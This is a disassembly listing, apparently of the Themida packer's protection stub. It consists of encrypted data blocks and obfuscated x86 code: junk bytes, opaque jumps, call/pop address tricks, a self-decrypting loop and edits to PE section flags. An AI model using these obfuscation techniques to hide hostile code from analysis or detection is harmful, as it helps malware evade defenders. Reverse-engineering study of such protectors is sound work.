dd 7D7F37D4h, 541D1398h, 85276C8Dh, 0F7BE5377h, 0BAB13253h
dd 0A161B936h, 0A1B6BB37h, 57B123D2h, 0A0343D56h, 3CB13256h
dd 0EAB13250h, 0FD279A0Dh, 0FF3AEB8Ah, 5C343D5Ah, 57B13256h
dd 58B575DFh, 0ABB124D8h, 0D5A0DB56h, 8A1D3256h, 3E85F103h
dd 0EE9ED6ADh, 43AC71DDh, 2502986Ch, 5A582213h, 0E9B13256h
dd 3ED7AA77h, 7EC837A9h, 6A024212h, 0B5BD75DFh, 5DB135D6h
dd 0AF3F3D56h, 0AFB13256h, 0CBA577DDh, 8B3D8306h, 63D0C0DDh
dd 0F8BE2211h, 0BAB1324Fh, 5DA2B659h, 0A0583256h, 0A0B13256h
dd 7F1F5592h, 3959EBDCh, 0AEEAAF81h, 15D1531Fh, 980A8AAAh
dd 3CD04C73h, 0A4333D9Fh, 0BEB13256h, 0ABB13253h, 29B35040h
dd 0FA73CA79h, 0C2BE5256h, 0BAA3DBA9h, 0DBE63256h, 0E631EF1Dh
dd 1BD67028h, 0F816E530h, 0BB0A3E55h, 2C485237h, 0DDA4E7D3h
dd 0D24D7550h, 0F5A6414Ch, 0AEBCBC59h, 58D13256h, 0ABB132DAh
dd 0A305456h, 15D05E90h, 0DDBEA7E3h, 0BAB7DB50h, 9AA03256h
dd 496E6318h, 57B8B959h, 0CBD13256h, 0C158A37h, 67D039A0h
dd 0DED843D3h, 30445250h, 8D4E539Dh, 0AEB9DA36h, 6F403256h
dd 0E9BB4E66h, 0DA582FADh, 0F1B13256h, 0C1963BD4h, 87896678h
dd 0DEAAB377h, 0CFEBCD93h, 6F035204h, 0ABA2B259h, 0D8593256h
dd 0A7B13256h, 0C310647Eh, 39646BC5h, 32689909h, 243C5309h
dd 511F4EBFh, 0CBE0CBAFh, 0D5B120BEh, 9362CC56h, 0D1682C0Ch
dd 443F3714h, 4EA06748h, 0C8375BFAh, 89F95EEh, 0ABBFBB59h
dd 0DD593256h, 79B13256h, 5DB114C2h, 0E02885E5h, 51383D37h
dd 0A1B13256h, 57B134D6h, 0AB363D56h, 2AB13256h, 0A0A5286h
dd 13FBB598h, 0E0D0E8DDh, 0B433BFAFh, 0A1B79C2Ah, 57B137DEh
dd 46315256h, 62BE5395h, 0E1583E16h, 7DB13256h, 0ABB3FB9Bh
dd 9870B9F4h, 763A6D13h, 906E8936h, 5F0515A2h, 0D0586037h
dd 26B13256h, 71D03D3Dh, 0B1580359h, 54B13256h, 0B3642915h
dd 80916A6h, 57EB03E0h, 3C7231AFh, 0EAB13251h, 0BCAB31B7h
dd 33E47207h, 0F5AEE7D4h, 0AF353D50h, 0ABB13256h, 0C34953AFh
dd 0F6051F8h, 57BBF8BFh, 6130123Bh, 0E8F852h, 5A000000h
dd 0C822EA81h, 60F506AEh, 60F9BF0Fh, 5A6591BAh, 0C6816632h
dd 6161AD50h, 828BF852h, 6A81FD5h, 0F95660F5h, 800F5Eh
dd 61000000h, 0C64E6DB9h, 8D0F6041h, 3, 81D8B70Fh, 0ACBA3DCEh
dd 0E1F7611Dh, 8860Fh, 66600000h, 8AF034BAh, 605A61CEh
dd 0F5C38B66h, 30390561h, 8F0F0000h, 0Ch, 6890Fh, 8F0F0000h
dd 0
; ---------------------------------------------------------------------------
and eax, 7FFFFFFFh
jmp loc_5B62B7
; ---------------------------------------------------------------------------
dw 8C05h
dd 33970127h, 8EC57046h
db 0BEh, 0A7h, 0C0h
; ---------------------------------------------------------------------------
loc_5B62B7: ; CODE XREF: Themida_:005B62A5j
mov [edx+6A81FD5h], eax
jl loc_5B62CF
jno loc_5B62CF
jz $+6
loc_5B62CF: ; CODE XREF: Themida_:005B62BDj
; Themida_:005B62C3j
clc
pop edx
jmp loc_5B62DC
; ---------------------------------------------------------------------------
dw 3E9h
dd 2FDED5A2h
; ---------------------------------------------------------------------------
loc_5B62DC: ; CODE XREF: Themida_:005B62D1j
pop ecx
jmp loc_5B62F4
; ---------------------------------------------------------------------------
dw 7E93h
dd 0F2AFBB7Bh, 4141AECAh, 0E0FF212h, 0B8F71D32h
; ---------------------------------------------------------------------------
loc_5B62F4: ; CODE XREF: Themida_:005B62DDj
jl locret_5B6312
jmp locret_5B6312
; ---------------------------------------------------------------------------
db 60h
dd 612EEBE7h, 5281C675h, 0B173519Ah, 78FDAC27h
db 87h, 56h
; ---------------------------------------------------------------------------
locret_5B6312: ; CODE XREF: Themida_:loc_5B62F4j
; Themida_:005B62FAj
retn
; ---------------------------------------------------------------------------
ja loc_5B632C
jmp loc_5B632C
; ---------------------------------------------------------------------------
dw 0EA6Bh
dd 0FB840491h, 95FE47CFh, 2DEC9E19h
; ---------------------------------------------------------------------------
loc_5B632C: ; CODE XREF: Themida_:005B6313j
; Themida_:005B6319j
push ecx
clc
push edx
jmp loc_5B6340
; ---------------------------------------------------------------------------
dd 9D8A60FBh, 961CE9D0h, 7136BC34h
; ---------------------------------------------------------------------------
loc_5B6340: ; CODE XREF: Themida_:005B632Fj
call $+5
pop edx
sub edx, 6AEC938h
jmp loc_5B6365
; ---------------------------------------------------------------------------
db 54h, 0FBh, 7Fh
dd 8E65AFC4h, 7B2E251Eh, 886E188Bh, 2CC30D04h
; ---------------------------------------------------------------------------
scasb
loc_5B6365: ; CODE XREF: Themida_:005B634Cj
clc
pusha
mov edi, esi
jge loc_5B6372
movzx edi, ax
loc_5B6372: ; CODE XREF: Themida_:005B6369j
popa
mov ecx, eax
jge loc_5B6383
jnb loc_5B6383
pusha
popa
loc_5B6383: ; CODE XREF: Themida_:005B6375j
; Themida_:005B637Bj
call near ptr dword_5B5C40+5DDh
loc_5B6388: ; CODE XREF: Themida_:005B63B4j
jo loc_5B6396
jns loc_5B6396
pusha
popa
loc_5B6396: ; CODE XREF: Themida_:loc_5B6388j
; Themida_:005B638Ej
xor edx, edx
cmc
div ecx
stc
mov eax, edx
jmp loc_5B63B6
; ---------------------------------------------------------------------------
db 8Eh
dd 7D2D72C1h, 21538D7Dh, 0E4B4753Fh, 9BB32C96h
; ---------------------------------------------------------------------------
jmp short loc_5B6388
; ---------------------------------------------------------------------------
loc_5B63B6: ; CODE XREF: Themida_:005B639Ej
pop edx
pusha
or dh, 46h
popa
pop ecx
pusha
jmp loc_5B63CA
; ---------------------------------------------------------------------------
db 1
dd 0B9B47874h
db 5Dh, 0E5h
; ---------------------------------------------------------------------------
loc_5B63CA: ; CODE XREF: Themida_:005B63BEj
popa
retn
; ---------------------------------------------------------------------------
pusha
push ebx
movsx edi, bx
pop ebx
add esi, 5BC5990Ah
popa
mov eax, eax
cld
mov eax, eax
jmp loc_5B63EA
; ---------------------------------------------------------------------------
db 0C1h
dd 6262B61Eh
db 96h, 22h
; ---------------------------------------------------------------------------
loc_5B63EA: ; CODE XREF: Themida_:005B63DEj
lea eax, [ebp+6AE9220h]
stc
call eax
cmc
mov ax, cx
clc
lea eax, [ebp+6AEC810h]
jmp loc_5B640E
; ---------------------------------------------------------------------------
db 8
dd 2AF7FF0Dh, 7AEFC43Fh
db 0F8h, 0BCh
; ---------------------------------------------------------------------------
loc_5B640E: ; CODE XREF: Themida_:005B63FEj
mov [ebp+6A800B5h], eax
jmp loc_5B6428
; ---------------------------------------------------------------------------
db 0B9h, 3Bh, 0D4h
dd 93FB78C1h, 6A74AB0Ch, 463AC2F5h
; ---------------------------------------------------------------------------
loc_5B6428: ; CODE XREF: Themida_:005B6414j
lea eax, [ebp+6AEC91Fh]
cld
mov [ebp+6A808DDh], eax
pusha
jl loc_5B643D
stc
loc_5B643D: ; CODE XREF: Themida_:005B6436j
pusha
mov ah, 89h
sub eax, 38431566h
popa
popa
mov eax, 0
jmp loc_5B6464
; ---------------------------------------------------------------------------
xor bh, dl
sbb al, 0D9h
mov edx, 28853519h
pop esi
test cl, 0C5h
sbb eax, 793F7520h
loc_5B6464: ; CODE XREF: Themida_:005B644Dj
or eax, eax
jz loc_5B65D3
jmp loc_5B6479
; ---------------------------------------------------------------------------
db 0D2h, 0C2h, 41h
dd 182DEF8Dh
db 30h
; ---------------------------------------------------------------------------
loc_5B6479: ; CODE XREF: Themida_:005B646Cj
mov byte ptr [ebp+6A815D5h], 56h
stc
push 0A9C530DFh
jle loc_5B6494
jge loc_5B6494
pusha
popa
loc_5B6494: ; CODE XREF: Themida_:005B6486j
; Themida_:005B648Cj
jmp loc_5B64AC
; ---------------------------------------------------------------------------
db 2, 40h, 5Ch
dd 1BE3A7E7h, 39DBA1B5h, 6F75D079h, 8D4D4734h
; ---------------------------------------------------------------------------
loc_5B64AC: ; CODE XREF: Themida_:loc_5B6494j
push dword ptr [ebp+6A80F95h]
jmp loc_5B64C9
; ---------------------------------------------------------------------------
db 9Bh
dd 7FBD0C2Dh, 25A11716h, 96C72967h, 0E8A0187Dh
; ---------------------------------------------------------------------------
popf
loc_5B64C9: ; CODE XREF: Themida_:005B64B2j
lea eax, [ebp+6AB6971h]
pusha
mov ebx, edi
mov dh, 91h
popa
call eax
jmp loc_5B64E3
; ---------------------------------------------------------------------------
mov edx, 5FF4B5A4h
xchg eax, edx
aas
loc_5B64E3: ; CODE XREF: Themida_:005B64D7j
push eax
jp loc_5B64EB
stc
loc_5B64EB: ; CODE XREF: Themida_:005B64E4j
lea ecx, [ebp+6A82CD9h]
jp loc_5B650B
pusha
jmp loc_5B6504
; ---------------------------------------------------------------------------
db 30h, 0A6h, 9Ah
dd 7AE0224Dh
; ---------------------------------------------------------------------------
loc_5B6504: ; CODE XREF: Themida_:005B64F8j
or edx, 42502C53h
popa
loc_5B650B: ; CODE XREF: Themida_:005B64F1j
push ecx
jmp loc_5B651A
; ---------------------------------------------------------------------------
db 0D3h, 0BFh, 0C5h
dd 0D10A6573h
db 0CDh, 18h
; ---------------------------------------------------------------------------
loc_5B651A: ; CODE XREF: Themida_:005B650Cj
push 4
jmp loc_5B6530
; ---------------------------------------------------------------------------
shr byte ptr [ebp+ecx*4+6Ch], 1
cmp [ebp+61h], ah
add bh, [ecx+0A59FE23h]
popf
push eax
loc_5B6530: ; CODE XREF: Themida_:005B651Cj
cmc
push 1000h
stc
push dword ptr [ebp+6A831D5h]
cmc
call eax
jge loc_5B6570
pusha
jmp loc_5B6558
; ---------------------------------------------------------------------------
dd 0D452E3D0h, 7F4B18DEh, 0B0B1F294h
; ---------------------------------------------------------------------------
loc_5B6558: ; CODE XREF: Themida_:005B6547j
jmp loc_5B656F
; ---------------------------------------------------------------------------
db 0A0h, 47h, 0E9h
dd 793252A9h, 8355A05Bh, 0F40E79DFh
db 1Eh, 0F3h, 0CAh
; ---------------------------------------------------------------------------
loc_5B656F: ; CODE XREF: Themida_:loc_5B6558j
popa
loc_5B6570: ; CODE XREF: Themida_:005B6540j
mov edi, [ebp+6A831D5h]
cld
add edi, [edi+3Ch]
jmp loc_5B6592
; ---------------------------------------------------------------------------
db 68h
dd 8BDB6B28h, 4CB56CB8h, 7817E7CCh, 3750B4C1h
; ---------------------------------------------------------------------------
fxch7 st(5)
loc_5B6592: ; CODE XREF: Themida_:005B657Aj
add edi, 0F8h
cmc
mov dword ptr [edi+24h], 60000020h
jmp loc_5B65B7
; ---------------------------------------------------------------------------
db 0C4h, 0E5h, 26h
dd 71C66537h, 0E9DCB85Bh, 0BD8393A0h
; ---------------------------------------------------------------------------
pushf
push ebp
cmpsd
loc_5B65B7: ; CODE XREF: Themida_:005B65A0j
jl loc_5B65D3
jle loc_5B65D3
jmp loc_5B65D3
; ---------------------------------------------------------------------------
dd 0E5482D9Fh, 4F88EF62h
db 0BCh, 3, 47h
; ---------------------------------------------------------------------------
loc_5B65D3: ; CODE XREF: Themida_:005B6466j
; Themida_:loc_5B65B7j ...
lea ebx, [ebp+6A82065h]
jmp loc_5B65EB
; ---------------------------------------------------------------------------
cmc
test al, 0A0h
pop eax
add al, 0DDh
xchg eax, ebx
scasb
test al, 73h
pop esi
scasd
pop ds
loc_5B65EB: ; CODE XREF: Themida_:005B65D9j
mov eax, [ebx]
jp loc_5B65F4
clc
loc_5B65F4: ; CODE XREF: Themida_:005B65EDj
or eax, eax
jz loc_5B661A
pusha
mov al, 0F9h
jmp loc_5B660C
; ---------------------------------------------------------------------------
dd 1A3B97D9h, 32E06A11h
; ---------------------------------------------------------------------------
loc_5B660C: ; CODE XREF: Themida_:005B65FFj
popa
mov eax, [eax]
cmc
mov [ebx+4], eax
pusha
mov bh, dh
movsx edi, bx
popa
loc_5B661A: ; CODE XREF: Themida_:005B65F6j
mov ecx, 234CF6h
call sub_5B6632
stosd
arpl [ecx], cx
push es
push edi
cmp [ebp-2E5AE6F6h], edi
push ss
inc ecx
cdq
; =============== S U B R O U T I N E =======================================
sub_5B6632 proc near ; CODE XREF: Themida_:005B661Fp
pop esi
jp loc_5B663D
mov bx, 0ED81h
loc_5B663D: ; CODE XREF: sub_5B6632+1j
add esi, 5EF8h
mov di, bx
xor ecx, ecx
mov bl, ch
loc_5B664A: ; CODE XREF: sub_5B6632+71j
push dword ptr [ecx+esi]
mov edx, 10079E7h
pop eax
jo $+6
xor eax, 22531AFDh
pusha
mov bx, 4084h
popa
add eax, 350AB6A6h
adc bx, 4C7h
sub eax, 312F660Dh
mov dx, cx
mov [esi+ecx], eax
mov edx, eax
push ebx
adc ebx, 3F16C0D7h
pop ebx
sub ecx, 33354F2Bh
or ebx, 79205CFCh
add ecx, 33354F27h
mov ebx, 5CB5D9BFh
cmp ecx, 0FFFFA18Ch
jnz loc_5B664A
add dl, 62h
lea ecx, [ebp+6AECD36h]
mov edx, [ebp+6A81F89h]
mov [ebp+6A805B9h], ecx
mov bl, 0E4h
mov dword ptr [ebp+6A81469h], 6498h
mov edx, [ebp+6A82A9Dh]
mov dword ptr [ebp+6A80BBDh], 0
push 0
push ebp
call sub_5B66E5
and [ebp-3Dh], bl
sub_5B6632 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5B66E5 proc near ; CODE XREF: sub_5B6632+ABp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5B66E5 endp
; ---------------------------------------------------------------------------
adc bh, [eax-1]
mov ch, 61h
adc eax, 6A06A8h
push eax
call sub_5B6708
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B6708 proc near ; CODE XREF: Themida_:005B6700p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5B6708 endp
; ---------------------------------------------------------------------------
dd 0AE4AB809h, 9E9h, 2CDF9000h, 0EAA00A4Ah, 0B5295A78h
dd 6A82889h, 20DD95FFh, 950306A8h, 6A82A89h, 95FF006Ah
dd 6A81B31h, 0BEBC08Bh, 45A64512h, 0BF6198F2h, 8DC2E6C3h
dd 0AECE0C8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 0BAA35F4Bh, 0DA81662Bh
dd 8D8967D2h, 6A805B9h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 2AC35040h, 77C816B6h, 8D9D8Bh, 85C706A8h
dd 6A81469h, 7364h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 17h, 0AFC35040h, 8A3AB6E6h, 0BD85C7FCh, 6A80Bh
dd 0F000000h, 0B5FFF1B7h, 6A82A11h, 0AE22BB66h, 20DD95FFh
dd 6A06A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
dd 57470000h, 264FF2C3h, 6A7B99h, 1B3195FFh, 0C08B06A8h
dd 1FFB0DEBh, 0EC0373BBh, 9DA96A20h, 0E805DB4Dh, 7, 0DF317A8h
dd 0B30594C8h, 30B95E0Eh, 8138AB0Dh, 6C7DC6h, 25BD8900h
dd 6806A816h, 0
; ---------------------------------------------------------------------------
mov [ebp+6A826B1h], esi
pop eax
add [ebp+6A82A91h], eax
loc_5B685D: ; CODE XREF: Themida_:005B68BCj
mov edi, [esi+eax]
jmp loc_5B686D
; ---------------------------------------------------------------------------
db 0F9h, 7Bh, 0BCh
dd 6C09598Fh
db 34h
; ---------------------------------------------------------------------------
loc_5B686D: ; CODE XREF: Themida_:005B6860j
add edi, 2E87E64Bh
cmc
add edi, 0FBB1923h
or edx, [ebp+6A83435h]
xor edi, 6B159250h
mov ecx, [ebp+6A815EDh]
push edi
mov ecx, [ebp+6A82E89h]
pop dword ptr [esi+eax]
mov dl, 74h
jb loc_5B68A1
mov dx, cx
loc_5B68A1: ; CODE XREF: Themida_:005B6898j
sub eax, 3B8BC088h
mov [ebp+6A802A9h], esi
add eax, 3B8BC084h
movzx ecx, ax
cmp eax, 0FFFF9414h
jnz loc_5B685D
mov cx, ax
lea ecx, [ebp+6AECF3Eh]
jmp loc_5B68E2
; ---------------------------------------------------------------------------
dd 3CE71B25h, 9E8AE308h, 54C1C5Fh, 0B6B010A8h
; ---------------------------------------------------------------------------
sbb al, 0F5h
loc_5B68E2: ; CODE XREF: Themida_:005B68CBj
mov [ebp+6A805B9h], ecx
mov [ebp+6A801A9h], ebx
mov esi, 5C342095h
mov dword ptr [ebp+6A81469h], 5958h
mov ax, di
mov dword ptr [ebp+6A80BBDh], 0
push 0
push ebx
call sub_5B6915
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B6915 proc near ; CODE XREF: Themida_:005B690Dp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5B6915 endp
; ---------------------------------------------------------------------------
or ecx, edi
xlat
inc esi
lodsb
xchg eax, edx
mov si, 19E8h
push dword ptr [ebp+6A814A1h]
mov edx, edi
call dword ptr [ebp+6A820DDh]
jns loc_5B6944
cmc
loc_5B6944: ; CODE XREF: Themida_:005B693Dj
push 0
call dword ptr [ebp+6A81B31h]
mov eax, eax
jmp short loc_5B6979
; ---------------------------------------------------------------------------
dd 8D437B26h, 2146C2C9h, 50F5F0B4h, 68C2638Eh, 0B1C439DCh
dd 61236A52h, 3A6EDA50h, 0A8DC299Ah, 3E19201h, 4051C91Ah
; ---------------------------------------------------------------------------
push ebp
loc_5B6979: ; CODE XREF: Themida_:005B694Ej
jmp loc_5B69A0
; ---------------------------------------------------------------------------
dw 6F68h
dd 2B48h, 7 dup(0)
; ---------------------------------------------------------------------------
loc_5B69A0: ; CODE XREF: Themida_:loc_5B6979j
jmp loc_5B6E73
; ---------------------------------------------------------------------------
push 6AED07Eh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AED0EAh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AED22Fh
jmp loc_5517CE
; ---------------------------------------------------------------------------
db 49h
dd 8023672Eh, 0AF1096D3h, 0D97AC089h, 9AAF0B5h, 1AE12568h
dd 0D79ABB57h, 34EF053h, 31781C87h, 622B4AF5h, 609A4024h
dd 0B606A628h, 24B6DC1Ah, 7429C329h, 8E950358h, 0F99B5EFFh
dd 8523C7B0h, 57D74743h, 86123DAFh, 90D97C25h, 0B803B10Ah
dd 0E155F802h, 42FB5FFh, 0E1575F9Fh, 9873B5FFh, 0DC2F1B17h
dd 0CE1477h, 51000003h, 43F12201h, 51B8C2F8h, 33B5FFEDh
dd 9766A018h, 14B36553h, 36F393A0h, 0C2DB5815h, 7A5344E9h
dd 84F33A4Ch, 66D1BA0Dh, 67DC7039h, 0BFC03943h, 54A6C0B5h
dd 1706F858h, 0CC72A629h, 0F3194763h, 0B5C45149h, 901833C0h
dd 0E1256C0Fh, 0B2561F3Eh, 0E875A4F6h, 4AA8199Ah, 81000003h
dd 0B81BAFE6h, 0E748DE9Bh, 11B20841h, 41E2387Dh, 52D96D20h
dd 1F52F31Fh, 4B06288Bh, 793054FFh, 0AAE3822Dh, 2852881Ch
dd 0B606A6F0h, 0E7AF94D2h, 0AED80EB5h, 0B606A6DBh, 4B02228Dh
dd 0DD63B5E6h, 8F1459FAh, 9E01A59Eh, 0CFCB7DFDh, 0B5B606A6h
dd 0BA65A19Ah, 8F4FD499h, 0B606A786h, 91377E1Dh, 0F324C1D1h
dd 0DE1FE0C3h, 15000002h, 44EF3B72h, 73DC6A2Fh, 0A50E9CD5h
dd 0D57ECC89h, 26ADF9B4h, 93DE7F93h, 0C78AAC17h, 0F5BCE043h
dd 266F0EB1h, 0A4E604E0h, 0B606A764h, 0E733185Eh, 4DBAEFB5h
dd 722DE3B8h, 0DCC76D99h, 7BACF1B8h, 8F602B3Dh, 922B607h
dd 8F62A2A4h, 2341B607h, 395CC56Ah, 0DC723370h, 149D3699h
dd 0EFB01B85h, 706AF7E3h, 76903E14h, 0B6079732h, 0A6C62710h
dd 0CF6942EFh, 1BE0Dh, 5CFF1600h, 6F0EF115h, 0A28F926h
dd 16B0564Fh, 0AF57D712h, 72D147F0h, 4FDB92B1h, 0C7E358FCh
dd 9FB85F99h, 0D9FF3AA6h, 0D66895Fh, 7B5CB600h, 110A97DAh
dd 3373FB38h, 70B6000Dh, 216409C8h, 6DB2ABFCh, 5BD891B4h
dd 13A203F8h, 7D7D268Dh, 1477E481h, 2064h, 0B5E7BF00h
dd 4FAED80Eh, 35B60005h, 5155951Ah, 6DB60005h, 211D1D86h
dd 0C41477F8h, 0AAh, 155CFF5Fh, 3B761788h, 470E2DF6h, 632A49DAh
dd 0DBBF2527h, 57A1AF57h, 5F544526h, 0F5BAFE25h, 308B1F56h
dd 7983279Ch, 0B6036756h, 0B9E7032Ch, 66B1E913h, 0B893B603h
dd 0C16E2B47h, 0BEDF40E8h, 0BD96DB7Bh, 0E8A5C669h, 28026C30h
dd 368F2CF3h, 199h, 5AE0A9D0h, 951154F9h, 0C3470E2Ah, 33773260h
dd 64A2EF90h, 1738DA9Fh, 0C363CC5Ah, 0F597388Eh, 0A6C56EBCh
dd 19C35BEFh, 6A8ABEFh, 0F45399B6h, 0ACDE5EFFh, 0AF57D76Ch
dd 92963056h, 70AF57D7h, 0B1F5EEC7h, 8AAE6F0Eh, 0A6C55EC3h
dd 891DF6EFh, 95DC8063h, 5CFF1803h, 68B5F09Dh, 0DD9463Fh
dd 0A28CB4CBh, 0A008D169h, 0AED85CFFh, 0AF581C6Ah, 90883258h
dd 72AF581Ch, 716E0D9h, 16957721h, 11FF4B24h, 80A9D2C7h
dd 0BD5EDB20h, 63825C3Fh, 0F391F214h, 0F42475BAh, 8C3A8133h
dd 28E97Ah, 4A70DBB6h, 6185C869h, 2989813Bh, 0D07BB600h
dd 0AB14F258h, 4059C68Bh, 29161EE8h, 0EE8DB600h, 0F2A003A7h
dd 4AFC6AB7h, 0B600294Eh, 0F6221B34h, 2E82A30Ch, 5FA436B6h
dd 0FE4FE11h, 9374FB7h, 9A40EDC6h, 0E3CECA7Ch, 9BB4B5FFh
dd 0A7B21Dh, 0E7950000h, 0AED80EB5h, 0B606A6D7h, 841D82ADh
dd 0F872A8E1h, 886B87EBh, 3B8117E0h, 77BCF598h, 0ECC852F7h
dd 7B3251E3h, 84C16D36h, 5EC7B41Fh, 46EF5CDFh, 0C2B41C3Fh
dd 70BAB0A9h, 0D537A5B8h, 221BA07Ch, 0AC17FD49h, 0C956C287h
dd 0D40F02AAh, 18E1D963h, 88A3E3ECh, 559EC67Eh, 0C06E377Ch
dd 4D266F0Dh, 5B123699h, 8D0DC5D6h, 0DE4ECD1Ah, 47D84BEDh
dd 61C26F2Ah, 252489CCh, 69A82788h, 0B9DCE34Ch, 0A59EDB78h
dd 0B4F19E01h, 16359E64h, 0F306892h, 3912E3ECh, 9C07E340h
dd 3F68B5FCh, 316F9h, 0B0310000h, 1158FFCBh, 3970138Ch
dd 40092BF4h, 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h
dd 0CD84A47Dh, 0D792BF60h, 1E68FA4Ah, 89000017h, 8956241Ch
dd 4C681E6h, 83000000h, 348704EEh, 0C895C24h, 0E2895224h
dd 4C281h, 0EA830000h, 24148704h, 2434895Ch, 2CBD5553h
dd 890EE474h, 8AB95DEBh, 1F7CA5Bh, 8B545BD9h, 0C4832434h
dd 4EC8104h, 89000000h, 468F240Ch, 2434FF08h, 4C4815Eh
dd 0FF000000h, 81592434h, 4C4h, 0A968E900h, 1C46FFF9h
dd 88801D65h, 0E0C55A16h
db 87h, 8Eh, 68h
; ---------------------------------------------------------------------------
loc_5B6E73: ; CODE XREF: Themida_:loc_5B69A0j
mov eax, 6AED3EDh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 38587552h, 4D608A65h, 59E7B33h, 32455EACh, 78B43489h
dd 0A83F0Bh, 11C7EB91h, 4D3C773Bh, 7D58464Ch, 956871Ah
dd 11BC5B1Ch, 5341F4F9h, 7CBBCA4Eh, 3A973053h, 2C632A78h
dd 321A2C8Dh, 1BC060A0h, 34964E57h, 5048FD23h, 756CBE7Ch
dd 5AFFA28Fh, 1DFD9F19h, 45E454B0h, 0CE9h, 94705400h, 4Fh
dd 0
dd 0B5BE900h, 91680000h, 0E906AED6h, 0FFFA7160h, 0AED76A68h
dd 7156E906h, 3368FFFAh, 0E906AED9h, 0FFFA714Ch, 0AEDA0F68h
dd 7142E906h, 0A668FFFAh, 0E906AEDBh, 0FFFA7138h, 0AEDD6F68h
dd 712EE906h, 8868FFFAh, 0E906AEDEh, 0FFFA7124h, 527389F5h
dd 0DFFC0A7Ch, 6300FCEBh, 0ED8E726Fh, 7A1BE199h, 87E39BD3h
dd 7C6A587Dh, 0F8EDE182h, 601B6F0Ch, 8ACDF794h, 0F2BCC68h
dd 11008958h, 8E7A139Fh, 0F8BB473Ch, 31E5114Ah, 3A5457AEh
dd 8DC869EFh, 0CA4D2CD8h, 0DAFB0F78h, 0C82A36D3h, 5EA14CACh
dd 9FC4B6E9h, 8F6EB363h, 0A6067C72h, 0A14C2844h, 5B3A655Eh
dd 5AA766CBh, 0F941C138h, 0A373B25Bh, 0F96DD101h, 0E8A76BA7h
dd 1FA5E006h, 8CBFC656h, 0A9FE3724h, 3A9D6A2Dh, 0A2000000h
dd 81BEFCE5h, 0F9E25861h, 683A655Bh, 0F62C1AB6h, 0FC0278A7h
dd 1CE2982Eh, 48B458Eh, 0DEF1812Dh, 0BF552A9h, 98DA6F22h
dd 2F577119h, 0EC47561Eh, 6000000h, 6629DD88h, 4DB9D277h
dd 0E51F4BD9h, 7C88E331h, 6993CFC3h, 0F5E634A6h, 95F2C001h
dd 0B574B569h, 0B254AFD0h, 0DD80560h, 14F628EBh, 0CE5EA126h
dd 3B44699Dh, 1B0290C0h, 6D2C69DFh, 2D3EAED9h, 52659ABFh
dd 0BC47D7B6h, 0A9F31B7Bh, 67BE5EA1h, 9110E497h, 92AFED0Ah
dd 0BD275D51h, 0E6A90D22h, 0E7A6099Ch, 0F91B223Bh, 4AACED5Bh
dd 0A7F92022h, 0EE75346Fh, 6A9716B7h, 0B4D61728h, 0A7F92018h
dd 0B64BCA55h, 0A0819054h, 68E61DA2h, 251EDFAFh, 0F9F50AEDh
dd 645A7B81h, 5124867Ch, 853F8C47h, 8DFBE17h, 23430000h
dd 94C6B4D9h, 164D4162h, 8CF5C9EAh, 37F5370h, 3D31D4F9h
dd 0BEDF255Dh, 4F6C92C8h, 0D5F6027Bh, 6102F6E1h, 52FA1C23h
dd 1F580F28h, 0B6D2BF92h, 423FB34Ch, 235EECBEh, 0BEA4FDFh
dd 0E497EB88h, 0E5BC7310h, 6181BEFCh, 5BF9E258h, 59BE2965h
dd 0E64BDB21h, 0B3129707h, 2C91C1E3h, 672BA7F6h, 0E0A0C628h
dd 7F86561Eh, 1B6E30E5h, 0BC4DCC47h, 0CBh, 4DB9D285h, 55349B4h
dd 0BE7991E0h, 0A1D96FFFh, 565A65Bh, 5EA145E9h, 28BA7DA4h
dd 0A14214F6h, 699DCE5Eh, 0F1057644h, 0BBD83550h, 33BB0C6Fh
dd 7E9BE270h, 0FAE3033Ch, 0B75BF93Ch, 0A34C4F6Ch, 8B6A94F2h
dd 0CE671476h, 0C64CA2A0h, 41FE6195h, 0CEEF154Dh, 987A80F8h
dd 3F8C38D3h, 6EC61F3h, 0B8000008h, 299D3EC4h, 562449BFh
dd 0C2B0D529h, 443A5BA7h, 26C5E61Ch, 0CE34AC4Eh, 5DA3D9ADh
dd 0E7134A38h, 7387F0C6h, 8DED3252h, 580F2961h, 9FCCE32Ch
dd 1C8E7A13h, 30A81A9Dh, 6D98A9CAh, 6835A7A6h, 0AA189B45h
dd 57ABD631h, 63304BF4h, 608CEE22h, 2D5EA1DEh, 9FF277F2h
dd 63F71F7Fh, 63C25EA1h, 0A9553280h, 9F9285E6h, 0A8D7713h
dd 63BCFB8h, 682BDF88h, 9933A4FAh, 0A1FEDD79h, 0FF6D985Eh
dd 1BCC4C0Ah, 0CCF15033h, 0DD6220C9h, 586C619Ch, 0A8C25BDBh
dd 0A1C61EB6h, 0DC85B5Eh, 0AD63FCD4h, 26DB5AC7h, 0F96C45C4h
dd 47D74E5Bh, 0CD7286F1h, 77C26A8Ch, 148FA7F9h, 0E982F095h
dd 1A57891Dh, 1E24BB68h, 0C73E4946h, 234C761Bh, 737F7441h
dd 5C9FA9ACh, 1A4DC140h, 0AF7F85FDh, 0B40AAB0Ah, 0BD6737C3h
dd 2CB3B014h, 94AEE1B7h, 7617E3h, 109EA357h, 1CE88366h
dd 9768FABDh, 0D235816Ch, 31CD395Eh, 0BC67E239h, 4E9013D1h
dd 67595E5Fh, 91ABE494h, 0A05401E6h, 0AFCCAFF2h, 0C654A0DBh
dd 27D89A47h, 0E8C80EC7h, 127C8B29h, 32AD45C9h, 6C629F7Eh
dd 680D8C7Ah, 7986C42Dh, 36C0BA38h, 31E51144h, 0DCF131F0h
